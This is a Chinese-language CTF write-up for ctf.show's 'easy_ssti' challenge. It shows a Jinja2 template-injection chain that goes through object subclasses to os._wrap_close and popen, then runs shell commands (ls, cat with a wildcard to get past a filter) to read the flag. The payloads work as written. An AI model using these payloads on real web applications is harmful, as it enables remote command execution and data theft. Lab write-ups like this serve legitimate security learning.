https://ctf.show/challenges#easy_ssti-3969
2023愚人杯

有提示app.zip,访问
https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip
得到压缩包,拿到一个py文件

可以看到参数名是name,对参数进行筛选,包含ge或者不包含f
访问
/hello/<name>
下面想办法找到一个function
payload
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}

其中<class 'os._wrap_close'>就是os对象类
这里可以自己写段代码找找os在第几位
ori_str = """这里面就放网页复制的,篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):if "os._wrap_close" in item:print(index)

成功拿到os对象类

如何拿到popen函数?
先获取对象的__init__属性,接着使用__globals__获取函数作用域下方法,里面则包含popen
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

下面就可以为所欲为了

- 获取当前文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}hello app.py app.zip templates
- 获取上级文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}# 先cd ..回到上级目录 再用ls读取hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
发现flag了,读取flag文件,因为屏蔽了f,所有这里使用通配符
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}
